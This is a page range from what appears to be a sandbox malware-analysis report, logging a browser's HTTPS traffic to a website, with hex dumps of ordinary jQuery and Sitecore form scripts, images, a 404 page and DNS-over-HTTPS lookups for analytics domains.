ETag: "583c7414-40f7"
Expires: Thu, 11 Aug 2022 15:42:52 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:53 UTC 2008 IN Data Raw: ef bb bf 2f 2a 21 0d 0a 2a 2a 20 55 6e 6f 62 74 72 75 73 69 76 65 20 76 61 6c 69 64 61 74 69 6f 6e 20 73 75 
70 70 6f 72 74 20 6c 69 62 72 61 72 79 20 66 6f 72 20 6a 51 75 65 72 79 20 61 6e 64 20 6a 51 75 65 72 79 20 56 61 6c 
69 64 61 74 65 0d 0a 2a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2a 2f 0d 0a 0d 0a 2f 2a 6a 73 6c 
69 6e 74 20 77 68 69 74 65 3a 20 74 72 75 65 2c 20 62 72 6f 77 73 65 72 3a 20 74 72 75 65 2c 20 6f 6e 65 76 61 72 3a 
20 74 72 75 65 2c 20 75 6e 64 65 66 3a 20 74 72 75 65 2c 20 6e 6f 6d 65 6e 3a 20 74 72 75 65 2c 20 65 71 65 71 65 71 3
a 20 74 72 75 65 2c 20 70 6c 75 73 70 6c 75 73 3a 20 74 72 75 65 
Data Ascii: /*!** Unobtrusive validation support library for jQuery and jQuery Validate** Copyright (C) Microsoft Corpor
ation. All rights reserved.*//*jslint white: true, browser: true, onevar: true, undef: true, nomen: true, eqeqeq: true, plusplus: 
true

2022-08-11 03:42:53 UTC 2024 IN Data Raw: 20 20 20 20 73 65 74 56 61 6c 69 64 61 74 69 6f 6e 56 61 6c 75 65 73 28 6f 70 74 69 6f 6e 73 2c 20 22 72 65 
6d 6f 74 65 22 2c 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 61 64 61 70 74 65 72 73 2e 61 
64 64 28 22 70 61 73 73 77 6f 72 64 22 2c 20 5b 22 6d 69 6e 22 2c 20 22 6e 6f 6e 61 6c 70 68 61 6d 69 6e 22 2c 20 22 
72 65 67 65 78 22 5d 2c 20 66 75 6e 63 74 69 6f 6e 20 28 6f 70 74 69 6f 6e 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6
9 66 20 28 6f 70 74 69 6f 6e 73 2e 70 61 72 61 6d 73 2e 6d 69 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 
65 74 56 61 6c 69 64 61 74 69 6f 6e 56 61 6c 75 65 73 28 6f 70 74 69 6f 6e 73 2c 20 22 6d 69 6e 6c 65 6e 67 74 68 22 2c 
20 6f 70 74 69 6f 6e 73 2e 70 61 72 61 6d 73 2e 6d 69 6e 29 3b 0d 
Data Ascii:     setValidationValues(options, "remote", value);    });    adapters.add("password", ["min", "nonalphamin", 
"regex"], function (options) {        if (options.params.min) {            setValidationValues(options, "minlength", options.para
ms.min);
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.11.20 50250 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 2025 OUT GET /js/sc.fields-date.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.11.20 50253 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 2025 OUT GET /jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?mw=285&hash=CC9B6A2517D651
7FA98B06A38A407613637A6C0F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.11.20 65426 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:39 UTC 102 OUT GET /js/visitoridentification.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.11.20 60531 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 69 of 310



2022-08-11 03:42:53 UTC 2026 OUT GET /js/sc.fields-captcha.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.11.20 61152 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 2026 OUT GET /js/sc.ajax-form.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 118.27.105.118 443 192.168.11.20 54879 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:53 UTC 2027 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:53 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:53 UTC 2027 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 118.27.105.118 443 192.168.11.20 52206 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:53 UTC 2027 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:53 GMT
Content-Type: image/jpeg
Content-Length: 22651
Last-Modified: Wed, 21 Oct 2020 17:26:50 GMT
Connection: close
ETag: "5f906f5a-587b"
Expires: Sat, 10 Sep 2022 03:42:53 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:53 UTC 2028 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 00 a0 01 1d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC"}!1AQa"q2

2022-08-11 03:42:53 UTC 2043 IN Data Raw: d3 2c e7 d3 b4 7b fd 7c 24 45 2c 22 82 fa 33 11 07 e6 2e aa 3c bc 64 9c 94 df c8 e4 f4 a8 7e 23 7c 39 d6 a5 
82 c7 56 b7 d7 a6 d5 74 f9 a3 52 61 92 d9 2f 15 8a e7 e5 23 6b a6 ee 7a 00 be 98 e3 14 e5 85 a2 dd 9a b7 f5 f3 1c 71 55 
96 ce ff 00 d7 c8 93 47 f8 af e1 bf 13 a7 fc 4b f5 cd 36 e8 e4 8d 8b 70 a1 c1 f4 2a 70 d9 f6 c5 6c a6 aa 51 43 2c 8c 77 67 
07 b5 78 dd d7 80 4e bf ab ad bd f4 ba 1c 76 90 c6 16 08 af f4 e5 d3 e3 19 56 f9 89 8d 14 70 49 e9 93 ed 5c a6 bb e0 af 
11 69 9e 26 5b 3d 2e 2f ec d1 0f cb f6 8d 22 ee ea 7b 59 8f 56 6c 0d d9 51 82 01 c0 1c 56 4f 2d 8b 7e e4 be ff 00 eb f4 35 
8e 64 d7 c5 1f eb fa f3 3e 90 7d 51 a5 db 9d ac 79 c9 51 b5 54 d5 8d 32 ec a3 ee 66 62 58 02 72 7a 8a f0 3b 4f 1b f8 9f c1 
a1 44 fe 28 b1 d5 26 c7 cb 60 da 73 4b 33 2f 62 
Data Ascii: ,{|$E,"3.<d~#|9VtRa/#kzqUGK6p*plQC,wgxNvVpI\i&[=./"{YVlQVO-~5d>}QyQT2fbXrz;OD(&`sK3/b

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 118.27.105.118 443 192.168.11.20 50250 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2050 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:53 GMT
Content-Type: application/javascript
Content-Length: 2372
Last-Modified: Mon, 28 Nov 2016 18:14:46 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7416-944"
Expires: Thu, 11 Aug 2022 15:42:53 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:54 UTC 2050 IN Data Raw: ef bb bf 69 66 20 28 74 79 70 65 6f 66 20 28 24 73 63 77 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 
29 20 7b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 24 73 63 77 20 3d 20 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 
28 74 72 75 65 29 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 24 73 63 77 2e 77 69 64 67 65 74 28 22 77 66 66 6d 2e 64 61 74 65 62 
6f 78 22 2c 20 7b 0d 0a 20 20 20 20 6f 70 74 69 6f 6e 73 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 61 79 3a 20 6e 75 6c 
6c 2c 0d 0a 20 20 20 20 20 20 20 20 6d 6f 6e 74 68 3a 20 6e 75 6c 6c 2c 0d 0a 20 20 20 20 20 20 20 20 79 65 61 72 3a 
20 6e 75 6c 6c 0d 0a 20 20 20 20 7d 2c 0d 0a 0d 0a 20 20 20 20 5f 63 72 65 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 20 2
8 29 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 65 
Data Ascii: if (typeof ($scw) === "undefined") {    window.$scw = jQuery.noConflict(true);}$scw.widget("wffm.datebox", {    
options: {        day: null,        month: null,        year: null    },    _create: function () {        var se

Session ID Source IP Source Port Destination IP
Destination
Port

Process

135 118.27.105.118 443 192.168.11.20 60531 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2053 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:53 GMT
Content-Type: application/javascript
Content-Length: 798
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
ETag: "583c7414-31e"
Expires: Thu, 11 Aug 2022 15:42:53 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes
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2022-08-11 03:42:54 UTC 2053 IN Data Raw: ef bb bf 69 66 20 28 74 79 70 65 6f 66 20 28 24 73 63 77 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 
29 20 7b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 24 73 63 77 20 3d 20 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 
28 74 72 75 65 29 3b 0d 0a 7d 0d 0a 0d 0a 24 73 63 77 2e 77 69 64 67 65 74 28 22 77 66 66 6d 2e 63 61 70 74 63 68 61 
22 2c 20 7b 0d 0a 20 20 20 20 5f 63 72 65 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 
20 20 20 76 61 72 20 73 65 6c 66 20 3d 20 74 68 69 73 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 24 73 63 77 28 74 68 69 
73 2e 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 22 2e 73 65 6c 65 63 74 6f 72 2d 66 69 65 6c 64 2d 63 61 70 74 63 68 
61 2d 70 6c 61 79 22 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 
Data Ascii: if (typeof ($scw) === "undefined") {    window.$scw = jQuery.noConflict(true);}$scw.widget("wffm.captcha", {    
_create: function () {        var self = this;        $scw(this.element).find(".selector-field-captcha-play").click(function

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

136 118.27.105.118 443 192.168.11.20 61152 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2054 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:54 GMT
Content-Type: application/javascript
Content-Length: 1085
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7414-43d"
Expires: Thu, 11 Aug 2022 15:42:54 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:54 UTC 2054 IN Data Raw: ef bb bf 69 66 20 28 74 79 70 65 6f 66 20 28 24 73 63 77 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 
29 20 7b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 24 73 63 77 20 3d 20 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 
28 74 72 75 65 29 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 24 73 63 77 2e 77 69 64 67 65 74 28 22 77 66 66 6d 2e 61 6a 61 78 46 
6f 72 6d 22 2c 20 7b 0d 0a 20 20 20 20 6f 70 74 69 6f 6e 73 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 61 72 67 65 74 
49 64 3a 20 6e 75 6c 6c 0d 0a 20 20 20 20 7d 2c 0d 0a 0d 0a 20 20 20 20 5f 63 72 65 61 74 65 3a 20 66 75 6e 63 74 69 6
f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 66 6f 72 6d 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 
3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 
Data Ascii: if (typeof ($scw) === "undefined") {    window.$scw = jQuery.noConflict(true);}$scw.widget("wffm.ajaxForm", {    
options: {        targetId: null    },    _create: function () {        var form = this.element;        var options

Session ID Source IP Source Port Destination IP
Destination
Port

Process

137 192.168.11.20 50037 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2055 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:54 UTC 2055 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 73 64 6b 02 35 31 02 6c 61 00 00 01 00 01 00 00 29 10 00 00 00 00 
00 00 5a 00 0c 00 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: sdk51la)ZV

Session ID Source IP Source Port Destination IP
Destination
Port

Process

138 192.168.11.20 54758 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:54 UTC 2055 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:54 UTC 2056 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 02 68 6d 05 62 61 69 64 75 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 
00 00 00 00 00 57 00 0c 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: hmbaiducom)WS

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

139 172.64.145.85 443 192.168.11.20 50037 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2056 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:54 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6c4aa7a9bbf-FRA

2022-08-11 03:42:54 UTC 2056 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 73 64 6b 02 35 31 02 6c 61 00 00 01 00 01 c0 0c 00 01 00 01 00 00 
00 f0 00 04 2f fd 32 02 00 00 29 04 d0 00 00 00 00 01 9e 00 0c 01 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: sdk51la/2)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 118.27.105.118 443 192.168.11.20 65426 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:39 UTC 103 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:39 GMT
Content-Type: application/javascript
Content-Length: 2286
Last-Modified: Sun, 22 Feb 2015 14:17:46 GMT
Connection: close
Vary: Accept-Encoding
ETag: "54e9e50a-8ee"
Expires: Thu, 11 Aug 2022 15:42:39 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:39 UTC 103 IN Data Raw: ef bb bf 66 75 6e 63 74 69 6f 6e 20 73 75 62 73 63 72 69 62 65 45 76 65 6e 74 28 65 76 65 6e 74 2c 20 6c 69 
73 74 65 6e 65 72 2c 20 75 73 65 43 61 70 74 75 72 65 29 20 7b 0d 0a 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 61 
64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 
6e 74 4c 69 73 74 65 6e 65 72 28 65 76 65 6e 74 2c 20 6c 69 73 74 65 6e 65 72 2c 20 75 73 65 43 61 70 74 75 72 65 29 
3b 0d 0a 20 20 7d 20 65 6c 73 65 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 29 20 7b 
0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 65 76 65 6e 74 2c 20 6c 69 73 74 65 
6e 65 72 2c 20 75 73 65 43 61 70 74 75 72 65 29 3b 0d 0a 20 20 7d 0d 0a 
Data Ascii: function subscribeEvent(event, listener, useCapture) {  if (document.addEventListener) {    document.addEven
tListener(event, listener, useCapture);  } else if (document.attachEvent) {    document.attachEvent(event, listener, use
Capture);  }

Session ID Source IP Source Port Destination IP
Destination
Port

Process

140 172.64.145.85 443 192.168.11.20 54758 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2057 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:54 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6c4af1f9073-FRA

2022-08-11 03:42:54 UTC 2057 IN Data Raw: 00 00 81 80 00 01 00 02 00 00 00 01 02 68 6d 05 62 61 69 64 75 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 
01 00 00 1a de 00 0e 02 68 6d 01 65 06 73 68 69 66 65 6e c0 15 c0 2a 00 01 00 01 00 00 01 02 00 04 67 eb 2e bf 00 00 
29 04 d0 00 00 00 00 01 81 00 0c 01 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: hmbaiducomhmeshifen*g.)}

Session ID Source IP Source Port Destination IP
Destination
Port

Process

141 118.27.105.118 443 192.168.11.20 50253 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2057 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:53 GMT
Content-Type: image/jpeg
Content-Length: 20581
Last-Modified: Thu, 17 Sep 2020 14:28:00 GMT
Connection: close
ETag: "5f637270-5065"
Expires: Sat, 10 Sep 2022 03:42:53 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:54 UTC 2058 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 
02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 
0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c ff c0 00 11 08 00 a0 01 1d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 
00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 
11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF,,CC"}!1AQa"q2

2022-08-11 03:42:54 UTC 2073 IN Data Raw: c9 8c 7a bc 34 3f f2 6f f3 3f 10 8f 81 f8 08 ae 58 e2 ea 7f e4 bf fc 89 f4 41 fd ad 3e 1f 36 71 e3 4f 0d 38 5f e2 1a 
84 5c fd 79 a8 9f f6 af f8 7a cb 96 f1 b7 85 e3 e3 9c 6a 71 0c ff 00 e3 d5 f3 74 d1 78 46 4c 34 5a 5e 93 36 e3 c0 6d 0e ce 
7e 3f 0c 54 de 7f 87 6c ec d9 6c f4 3f 0e a3 bf 07 7f 86 e3 83 68 c7 50 c1 58 7e bf 95 4a f1 93 14 bf e6 1a 1f 7c bf cc 72 f0 
47 05 2d 1e 2a a7 dd 0f fe 44 f7 cf 11 7e d4 3e 05 f1 37 87 ee b4 db 0f 18 78 72 f2 f2 ee 09 20 82 28 b5 08 da 49 5d 94 
85 55 19 c9 24 90 00 15 fa c9 a5 27 97 a4 59 a1 1f 76 de 30 46 0f 64 15 f8 15 a4 ae 9b 2f c4 2d 12 08 f4 9d 24 3c fa 85 
bc 4b 2d b5 bc 2a 63 2d 20 00 f0 a0 83 cf 6e 6b f7 e6 18 fc 8b 58 d7 03 e5 8d 54 71 ed 5f e7 5f d3 b3 8e 6b 71 0e 2f 27 
